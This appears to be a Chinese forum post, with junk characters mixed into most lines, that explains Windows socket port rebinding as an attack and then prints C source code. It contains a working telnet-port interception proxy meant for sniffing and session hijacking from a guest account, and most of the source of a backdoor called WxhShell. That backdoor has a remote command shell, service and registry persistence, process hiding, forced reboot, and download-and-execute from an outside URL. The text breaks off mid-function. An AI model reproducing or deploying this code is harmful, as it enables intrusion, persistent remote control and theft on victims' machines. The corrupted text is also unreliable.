在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
RU'DUf s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
C&ivjFf ywV8s|o saddr.sin_family = AF_INET;
#/9(^6f: 7a:mZ[Vh saddr.sin_addr.s_addr = htonl(INADDR_ANY);
;{~F7:i '3@WF2a bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
6'6@VB /Iu._2 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
jq&$YmWp L%.GKANM 这意味着什么?意味着可以进行如下的攻击:
kM?p >V6 y]`@%V2P 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
&xqr&(o B$ )6X 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
-zVa[& w{"GA~= 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
1H_#5hd 9{bzxM 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
:[N[D#/z [y T4n.f 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
bMD'teJ ^9UF
Pij" 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
8D:{05 5yQv(<~*G 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
, &HZvU& ^"%SHs #include
[@= [<
_r #include
r\"O8\ #include
u-h3xj #include
"/?*F\5 DWORD WINAPI ClientThread(LPVOID lpParam);
gH0B[w ] int main()
j]<T\O>t> {
0\jOg WORD wVersionRequested;
3Fn26Rij DWORD ret;
%Ys>PzM WSADATA wsaData;
#?i#q%q BOOL val;
0n,5"B SOCKADDR_IN saddr;
[j0I}+@4H SOCKADDR_IN scaddr;
v}]x>f int err;
oA~m*| SOCKET s;
b~b(Ed{r SOCKET sc;
<5(8LMF int caddsize;
.>?["e #, HANDLE mt;
,\DB8v6l\A DWORD tid;
9hT^Y,c0 wVersionRequested = MAKEWORD( 2, 2 );
|b/J$.R err = WSAStartup( wVersionRequested, &wsaData );
IR%a+;Xs if ( err != 0 ) {
9kP!O_ printf("error!WSAStartup failed!\n");
7-ba-[t#A return -1;
9VN@M }
h ;5
-X7 saddr.sin_family = AF_INET;
+c\s%Gzrh "ngYh]Git$ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
KW&&AuPb} WytCc>oL saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
n a2"Sy=Yi saddr.sin_port = htons(23);
-H`G6oMOO if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
R\:C|/6f {
[ylGNuy printf("error!socket failed!\n");
:*&wnQMKR return -1;
im+2)9f }
J6 [x(T val = TRUE;
u ?g!E."v //SO_REUSEADDR选项就是可以实现端口重绑定的
gqD`1/ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
P+3G*M=} {
}C7tlA8,7 printf("error!setsockopt failed!\n");
s80_e return -1;
#s#z@F }
G-3.- //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
9zO3KT2 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
D-3/?"n //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
L238l 54J<ZXCs
if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
`z` `d*_ {
@mJN ret=GetLastError();
.3|9 ~] printf("error!bind failed!\n");
kFM'?L& return -1;
31>k3IP& }
G>mgoN listen(s,2);
Q'+N72= while(1)
0dkM72p {
B@zJ\Ir[ caddsize = sizeof(scaddr);
Pz|qy, //接受连接请求
}h_Op7.5D sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
@gi
Y if(sc!=INVALID_SOCKET)
R|+R4' {
?3}UO:B mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Xe+&/J5b if(mt==NULL)
38q@4U=aiw {
ZVp\5V* printf("Thread Creat Failed!\n");
0!vC0T[ break;
kw-/h+lG }
@IiT8B }
HnP;1Gi CloseHandle(mt);
RaU.yCYyu }
dWqFP closesocket(s);
Ix"c<1I WSACleanup();
cZ!s/^o?f return 0;
Yn<0D|S;X }
uAjGR DWORD WINAPI ClientThread(LPVOID lpParam)
t^CT^z {
o~-X7)] SOCKET ss = (SOCKET)lpParam;
Q5,@P? SOCKET sc;
)E7A,ZW, unsigned char buf[4096];
R^B2J+O SOCKADDR_IN saddr;
@i{JqHU" long num;
ImV54h' DWORD val;
mzT} C&hfP DWORD ret;
AVyZ#`, //如果是隐藏端口应用的话,可以在此处加一些判断
MW`a>'0t? //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
/a$+EQ$ saddr.sin_family = AF_INET;
D`t e|K5 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
@6j*XF saddr.sin_port = htons(23);
#>v7"
< if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
pz&=5F {
YQ]H3GA printf("error!socket failed!\n");
y{<#pS. return -1;
tt^ze|*&t }
f]'@Vt> val = 100;
<;6]) if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
D@^F6am% {
bf74 " ret = GetLastError();
:T\WYKX3C return -1;
Nu_w@T\l }
,g,jY]o if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
N9n1s2;o {
BL8\p_U ret = GetLastError();
5./
(fgx> return -1;
k(
g$_ ]X }
<y.D0^68 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
"q`%d_ {
i9xv`Ev=R printf("error!socket connect failed!\n");
W1@;94Sb~ closesocket(sc);
AltE~D/4 closesocket(ss);
q~^:S~q return -1;
yX-xVvlv@ }
s^oNQ} while(1)
\9}5}X_x. {
@qC:% |> //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
|?|
u-y //如果是嗅探内容的话,可以再此处进行内容分析和记录
s{k\1P(G} //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
20moX7L num = recv(ss,buf,4096,0);
xF/D YXC{8 if(num>0)
.HQ<6k:
send(sc,buf,num,0);
og\XLJ}_ else if(num==0)
ltrSTH,kL break;
eurudl num = recv(sc,buf,4096,0);
2T3DV])Q if(num>0)
+E [b Lz^ send(ss,buf,num,0);
*(`.h\+ else if(num==0)
%f-<ol break;
$dnHUBB }
&!a2%%1#N closesocket(ss);
lBn*G&(P closesocket(sc);
iTt=aQjd return 0 ;
>1~`tP }
Eo Urc9G2 <!N;(nZ9}O z}8YrVr@ ==========================================================
j?,*fp8 A pjqSz" 下边附上一个代码,,WXhSHELL
7[H`;l YxtkI:C? ==========================================================
{^f0RGJg9 >Y+KL #include "stdafx.h"
D9C}Dys Cv~hU%1T #include <stdio.h>
Qf|}%}%fp #include <string.h>
1hviT& #include <windows.h>
VjqdKQeVq #include <winsock2.h>
S1zw'!O5 #include <winsvc.h>
S<_pGz$V #include <urlmon.h>
9Bk}g50$# IA^)`l 7H #pragma comment (lib, "Ws2_32.lib")
I.u,f:Fl' #pragma comment (lib, "urlmon.lib")
3rY /6{ Mak9qaWqF> #define MAX_USER 100 // 最大客户端连接数
>>bYg #define BUF_SOCK 200 // sock buffer
_cw^5 #define KEY_BUFF 255 // 输入 buffer
kV rT? Mdrv/x{ #define REBOOT 0 // 重启
H ZLOn #define SHUTDOWN 1 // 关机
D&r8V;G[[ JYr7;n'! #define DEF_PORT 5000 // 监听端口
}AiS83B ]2%P``Yj #define REG_LEN 16 // 注册表键长度
\r%Vgne-g #define SVC_LEN 80 // NT服务名长度
`Y\/US70{c 9`v:$(I // 从dll定义API
L||yQH7n
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
ZY!pw6R1>* typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
$cOD6Xr)d typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
1:!rw,Jzl` typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
W-PZE|< -NPkN%h // wxhshell配置信息
(bt]GAxb1 struct WSCFG {
'h^DI` int ws_port; // 监听端口
$JB:rozE char ws_passstr[REG_LEN]; // 口令
C5 5n int ws_autoins; // 安装标记, 1=yes 0=no
Kg`x9._2 char ws_regname[REG_LEN]; // 注册表键名
]0i2]=J&, char ws_svcname[REG_LEN]; // 服务名
pmyM&'#Id char ws_svcdisp[SVC_LEN]; // 服务显示名
IA`8ie+ char ws_svcdesc[SVC_LEN]; // 服务描述信息
87(^P3;@ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
;]M67ma7C int ws_downexe; // 下载执行标记, 1=yes 0=no
'D"K`Vw char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
R[9PFMn char ws_filenam[SVC_LEN]; // 下载后保存的文件名
]XGn2U\ 9BD|uU;0 };
m90R8 V .XKvk(9 // default Wxhshell configuration
PBs<8xBx^ struct WSCFG wscfg={DEF_PORT,
g**%J Xo "xuhuanlingzhe",
m=.7f9 1,
OEE{JVeI "Wxhshell",
`VFl|o#H "Wxhshell",
ZU.)K>' "WxhShell Service",
iB3+KR "Wrsky Windows CmdShell Service",
f5b`gvCY,# "Please Input Your Password: ",
%H}Y]D~R 1,
Mto~ / "
http://www.wrsky.com/wxhshell.exe",
!$xEX,vj|W "Wxhshell.exe"
`/JR}g{O };
wwcwYPeg b#;N!VX // 消息定义模块
\Tf{ui char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
T7,Gf({ char *msg_ws_prompt="\n\r? for help\n\r#>";
v~2XGm char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
;~:Ryl M char *msg_ws_ext="\n\rExit.";
q AVfbcb char *msg_ws_end="\n\rQuit.";
O?,i? char *msg_ws_boot="\n\rReboot...";
) .-(-6=R char *msg_ws_poff="\n\rShutdown...";
3:8nwt char *msg_ws_down="\n\rSave to ";
4Eh BpTg
fI
d) char *msg_ws_err="\n\rErr!";
,c7u char *msg_ws_ok="\n\rOK!";
iRwW> a3/ 9h38`*Im; char ExeFile[MAX_PATH];
:IT U0%;!+ int nUser = 0;
d)GkXll1D HANDLE handles[MAX_USER];
DET!br'z5 int OsIsNt;
VtzmY 0HJqsSZ$mW SERVICE_STATUS serviceStatus;
2V2x,! SERVICE_STATUS_HANDLE hServiceStatusHandle;
UE,~_hp ~R?dDL // 函数声明
PDq}Tq int Install(void);
8P<UO int Uninstall(void);
T3t~=b>&L int DownloadFile(char *sURL, SOCKET wsh);
Ul713Bjz int Boot(int flag);
Fma`Cm. void HideProc(void);
;*4tVp, int GetOsVer(void);
t6%xit+ int Wxhshell(SOCKET wsl);
H=o-ScA void TalkWithClient(void *cs);
\eMYw7y5M int CmdShell(SOCKET sock);
8
1KG1i ) int StartFromService(void);
tD~PvUJ int StartWxhshell(LPSTR lpCmdLine);
1|EU5< p-yOiG8b} VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
u};]LX\E VOID WINAPI NTServiceHandler( DWORD fdwControl );
$|cp;~ 1 !Ir1qt8T // 数据结构和表定义
enbN0 SERVICE_TABLE_ENTRY DispatchTable[] =
7z&adkG: {
-90ZI1O` {wscfg.ws_svcname, NTServiceMain},
F%_,]^ n[ {NULL, NULL}
Z:o
86~su };
Vi?~0.Z% 2.Eu+*UC // 自我安装
kJvy<(iG int Install(void)
ngkeJ)M0$ {
`m@] char svExeFile[MAX_PATH];
#1jtprc HKEY key;
ZLN_,/7 strcpy(svExeFile,ExeFile);
F'UguC"> Dmm r]~ // 如果是win9x系统,修改注册表设为自启动
^Azt.\fMX if(!OsIsNt) {
& GzhcW~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
@RoRNat RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
0(hv #C4 RegCloseKey(key);
L VU)W^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
n<%=~1iY+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
/ 8WpX RegCloseKey(key);
SZK)q return 0;
A"BtVy[[9 }
.e FOfV) }
|auX*hb9 }
){Ciu[h else {
hP4)8 > ||'i\X|[ // 如果是NT以上系统,安装为系统服务
oc3dd"8}@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
[DotS\p!z if (schSCManager!=0)
u>t|X}JH {
s}[A4`EWH SC_HANDLE schService = CreateService
;o_V!<$ (
0279g schSCManager,
HeT6Dv wscfg.ws_svcname,
M}=s3[d(, wscfg.ws_svcdisp,
S6Xb*6 SERVICE_ALL_ACCESS,
d-ag SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
'&.)T2Kw SERVICE_AUTO_START,
Mz/]D J8 SERVICE_ERROR_NORMAL,
Q3NPwM svExeFile,
P|e:+G 7 NULL,
k W<Yda<a NULL,
Z^'?|qFj! NULL,
:Wyn+ NULL,
l50|`
6t NULL
_C< 6349w );
D4=..; if (schService!=0)
inr%XS/m {
YM# CloseServiceHandle(schService);
>-_:*/66! CloseServiceHandle(schSCManager);
`2B*CMW{ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
)(:+q(m strcat(svExeFile,wscfg.ws_svcname);
O8K@&V p if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Sk6b`W7$ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
"8wf.nZ RegCloseKey(key);
0On?{Bw return 0;
3W7;f! }
`y8
?= }
Je#!Wd CloseServiceHandle(schSCManager);
XKz;o^1a^ }
j!zA+hF( }
]dPVtk ~q0I7M return 1;
I! h(` }
Od0S2hHO xoqiRtlY: // 自我卸载
Yw$a{5g int Uninstall(void)
CCbkxHMf|! {
B#HV20\?v HKEY key;
+V)qep" }1U#Ve,=_ if(!OsIsNt) {
t$U3|r if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
nc3sty1` RegDeleteValue(key,wscfg.ws_regname);
ES^>[2Y RegCloseKey(key);
L*zbike if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
(NGu9uJs RegDeleteValue(key,wscfg.ws_regname);
e$CePLEj RegCloseKey(key);
L8K0^~Mk return 0;
4`'8fe/" }
[8,PO }
;EgzC^2e }
6OfdD.y else {
S304ncS|M u9TzZ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
HG2N-<$ if (schSCManager!=0)
( MB`hk-d {
M
(+.$uz SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
`d75@0: if (schService!=0)
c5X`_ {
m! rwG( if(DeleteService(schService)!=0) {
F0@Qgk]\ CloseServiceHandle(schService);
@@'nit CloseServiceHandle(schSCManager);
uWUR3n return 0;
3LKB; }
M,crz CloseServiceHandle(schService);
ao)Ck3] }
HH"$#T^- CloseServiceHandle(schSCManager);
, p_G/OU
}
/nc~T3j }
{*N^C@ ;(K return 1;
! mm5I#s }
q\a[S*
KR&s? // 从指定url下载文件
dSwm|kIa int DownloadFile(char *sURL, SOCKET wsh)
J#0GlK@" {
92!JKZe
HRESULT hr;
.2e1S{ 9 char seps[]= "/";
#MUiL= char *token;
plK=D#) char *file;
OQ6sv/ char myURL[MAX_PATH];
V/J>GRjw char myFILE[MAX_PATH];
3AK(dC[ri ?$3r5sx strcpy(myURL,sURL);
=K .r token=strtok(myURL,seps);
N6h1|_o while(token!=NULL)
6MuWlCKF8 {
(YIhTSL"] file=token;
,*7H|de7 token=strtok(NULL,seps);
Am=wEu[b }
\@i=)dA =K:(&6f<t GetCurrentDirectory(MAX_PATH,myFILE);
H6_xwuw: strcat(myFILE, "\\");
[!G)$< strcat(myFILE, file);
4RhR[ send(wsh,myFILE,strlen(myFILE),0);
+)gGs#2X send(wsh,"...",3,0);
Wdo#?@m hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
(zY * 0lN if(hr==S_OK)
,~- ?l7 return 0;
v51EXf else
U|8[#@r return 1;
So#dJ> 5^>n5u/ }
^OF5F8Tf/ r:-WzH(Ms // 系统电源模块
NH'iR!iGo int Boot(int flag)
mG_BM/$ {
GJX4KA8J HANDLE hToken;
Y&s2C%jT TOKEN_PRIVILEGES tkp;
`|]e6Pb e$/&M*0\f if(OsIsNt) {
h2% J/69 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
uyFn}y62 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
B
s,as tkp.PrivilegeCount = 1;
NgHpIonC tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
,>u=gA&} AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
" \:ced if(flag==REBOOT) {
&s:=qQa1 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
@;m$ua*|: return 0;
;`kWpM; }
h'l^g%; else {
84'?um if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
O-j$vzHpdY return 0;
1~'_K9eE }
|q_
!.
a }
=2,0Wo]$ else {
>!}`%pk( if(flag==REBOOT) {
QsOhz if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
=Ey`M#t; return 0;
0 O~p7D }
M/{g(|{ else {
A:eG5K} if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
_R7 w?!t8 return 0;
?>V6P_r> }
Tr&E4e }
o'Pu'y A
W)a">| return 1;
YX*0?S }
pcH<gF(k 'S?;J ,/ // win9x进程隐藏模块
J{Tq%\a3 void HideProc(void)
Zhzy.u/> {
,- '4L9 cx^{/U?9} HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
`U{mbw, if ( hKernel != NULL )
BDe]18X {
C c*({ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
HR60 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
`5'2Hg+ FreeLibrary(hKernel);
M$A#I51 }
&aPl`"j dn,g Z"< return;
$D'^t( }
WA.AFt aV>aiR= // 获取操作系统版本
.0|=[| int GetOsVer(void)
Q>8pP \ho {
rGlRAn#?, OSVERSIONINFO winfo;
5j{Np,K winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
r7 VXeoX GetVersionEx(&winfo);
NP/>H9Q2% if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
zoP%u,XL return 1;
@Z;1 g else
F
Z!J return 0;
XoR>H4xh }
+y&d;0! ?t rV72D // 客户端句柄模块
`.=sTp2rbc int Wxhshell(SOCKET wsl)
rg5]&<Vq8 {
j'GtgT SOCKET wsh;
j7
d:v7+_ struct sockaddr_in client;
J!h^egP DWORD myID;
'<@=vGsye dTGA5c while(nUser<MAX_USER)
7zDiHac {
= .oHnMX2M int nSize=sizeof(client);
*Oo &}oAj wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
}nud if(wsh==INVALID_SOCKET) return 1;
NQ9Ojj{# w#(RW7":F handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
[f!O6moR6 if(handles[nUser]==0)
c8A`<-\MfB closesocket(wsh);
[B^ G- else
44sy`e nUser++;
#
|^^K!% }
Cd]/ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
h qmSE'8 [s`
G^ return 0;
?4[H]BK }
:\yc*OtX u3ZCT" ! // 关闭 socket
DQJG,?e{ void CloseIt(SOCKET wsh)
&mE?y% {
](K0Fwo`;" closesocket(wsh);
LJQJ\bT? nUser--;
Cca0](R*& ExitThread(0);
2cf' ,cv@8 }
2~c~{ jl\ ?Zz'|.l@ // 客户端请求句柄
[@"wd_f{l void TalkWithClient(void *cs)
Owf.f;QR {
)1F<6R 'C?NJ~MN SOCKET wsh=(SOCKET)cs;
Qw)9r{f char pwd[SVC_LEN];
bJ3(ckhq char cmd[KEY_BUFF];
#cKqnk char chr[1];
j@1)K3Hga int i,j;
fgF;&(b Ec]|p6a3 while (nUser < MAX_USER) {
o6}n8U}bk ~}% ~oT if(wscfg.ws_passstr) {
?m;;D'1j if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
RuAlB* //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Kt/)pc //ZeroMemory(pwd,KEY_BUFF);
AQ{zx1^2>K i=0;
m)&znLA while(i<SVC_LEN) {
+F@_Es<6 \#dl6:" // 设置超时
Q M1F?F fd_set FdRead;
+S~.c;EK struct timeval TimeOut;
{G*QY%j^ FD_ZERO(&FdRead);
\ijMw FD_SET(wsh,&FdRead);
GAEO$e: TimeOut.tv_sec=8;
Qv#]81i(1 TimeOut.tv_usec=0;
TGV int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
&ak6zM if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
{3edTu .~klG&>aV if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
6)*xU|fU pwd
=chr[0]; $=aI"(3&
if(chr[0]==0xd || chr[0]==0xa) { SR7j\1a/2A
pwd=0; Fu _@!K
break; X
K>&$<5{
} t\R; < x
i++;
RiFw?Q+
} TbhH&kG)1
;+Yi.Q/\
// 如果是非法用户,关闭 socket t})$lM
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7_\Mwy{P
} g+[kde;(^
kv?|'DN
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +=3CL2{An
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9$l>\.6
``QHG&$/
while(1) { n2ndjE$
0SV \{]2
ZeroMemory(cmd,KEY_BUFF); `
2%6V)s
3]LN;s]ac
// 自动支持客户端 telnet标准 JW+*d`8Z[
j=0; ($!KzxF3
while(j<KEY_BUFF) { rVryt<2:@r
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZX.TqvK/r
cmd[j]=chr[0]; {aj/HFLNY
if(chr[0]==0xa || chr[0]==0xd) { %c/^_.
cmd[j]=0; %:u[MBe ,
break; $Ua56Y
} s#-eN)1R
j++; t#~?{i@m
} R>)MiHcCg
3 <SqoJSp
// 下载文件 y]
V1b{9p
if(strstr(cmd,"http://")) { |. C1|J'Z
send(wsh,msg_ws_down,strlen(msg_ws_down),0); %|"Qi]c d
if(DownloadFile(cmd,wsh)) "Pc$\zJm;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,4@|1z{bfm
else LAs7>hM
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E5G{B'%j
} zg}YGu|J
else { 1'KishHK=
YUkud2,j
switch(cmd[0]) { @h9MxCE!
cCdX0@hY
// 帮助 }NmNanW^
case '?': { |X (2Zv^O
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /Jlv"R1,
break; ~1(j&&kXet
} t/p $
// 安装 1~5trsB+5
case 'i': { UQ8bN I7
if(Install()) Omyt2`q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); IF_D Z
else \7 a4uc
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k DsIp=
break; Tj`5L6N;8
} ;+_8&wbqW
// 卸载 JdNF-64ky
case 'r': { " 'tRfB
if(Uninstall()) UH3t(o7O
send(wsh,msg_ws_err,strlen(msg_ws_err),0); vK$^y^
else 2VgP
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j
F5Blc
break; (.X]F_*sc
} ,E*R,'w
// 显示 wxhshell 所在路径 le
.'pP@
case 'p': { k`YYZt]@
char svExeFile[MAX_PATH]; ]n
v( aM?d
strcpy(svExeFile,"\n\r"); {=JF=8@A
strcat(svExeFile,ExeFile); ! -tz4vjw
send(wsh,svExeFile,strlen(svExeFile),0); T0e<Slo~C
break; jPJAWXB4a
} Fwfo2
// 重启 *y7 $xa4
case 'b': { Z[L5 ;
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H5xzD9K;/C
if(Boot(REBOOT)) x0+glQrNN
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _"N\b%CkO
else { !`wW_W
closesocket(wsh); Faac]5u:*
ExitThread(0); "QY1.:o<(
} S%6U~@hig
break; [_!O<z_sB
} E`D%PEps+
// 关机 b`~wGe
case 'd': { u<Xog$esu
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); FjKq%.=#
if(Boot(SHUTDOWN)) (xT*LF+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); uHM@h{r
else { 7TWNB{
K_
closesocket(wsh); Sp?NfJ\Ie
ExitThread(0); :c8^db`"
} RUXCq`)"<
break; +x1/-J8_sg
} 0|Ucd
// 获取shell 8jnz}aBd
case 's': { !1:@8q
CmdShell(wsh); GjQfi'vCk
closesocket(wsh); %}qbkkZ
ExitThread(0); 8l)
break; j6>tH"i
} ^R_e
// 退出 @.9I3E-=
case 'x': { `E>vG-9
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ijo(^v@
CloseIt(wsh); ")`S0n5e
break; q-&P=Yk
} 6?gi_3g
// 离开 uP|FJLY
case 'q': { zhsx&
send(wsh,msg_ws_end,strlen(msg_ws_end),0); `deYi 2z
closesocket(wsh); R]L2(' B
WSACleanup(); []p"3i
exit(1); X r_pgW|
break; +_m r
} rla:<6tt
} G$=-,6kZO
} y-+G
wa3
@$U e$
// 提示信息 ]PX}b
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z)9R9s
} %e=!nRc
} O%JSViPw
t4K56H.L?
return; C0m\SNR
} bkv/I{C>?
\ TL82H@D
// shell模块句柄 .Ff_s
int CmdShell(SOCKET sock) 1f//wk|
{ 8wFn}lw&
STARTUPINFO si; m,6hee
ZeroMemory(&si,sizeof(si)); fluGf
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +/cgw,
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v\0^mp
PROCESS_INFORMATION ProcessInfo; gGfq6{9g
char cmdline[]="cmd"; =/Juh7[C
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); uqZ3Hyb
return 0; ^gg!Me
} m&El)
3|eUy_d3
// 自身启动模式 9g@NcJ]
int StartFromService(void) -Ktwo_V*
{ Yj8&
typedef struct dY'Y5Th~
{ JvJ;bFXD
DWORD ExitStatus; qgexb\x\4
DWORD PebBaseAddress; e\N0@
DWORD AffinityMask; -9&g[
DWORD BasePriority; ]|LgVXEpx
ULONG UniqueProcessId; z8iENECwj
ULONG InheritedFromUniqueProcessId; 14l; *
} PROCESS_BASIC_INFORMATION; 08r[K(bfb,
K51fC4'{
PROCNTQSIP NtQueryInformationProcess; RVF F6N^
&?T ${*~
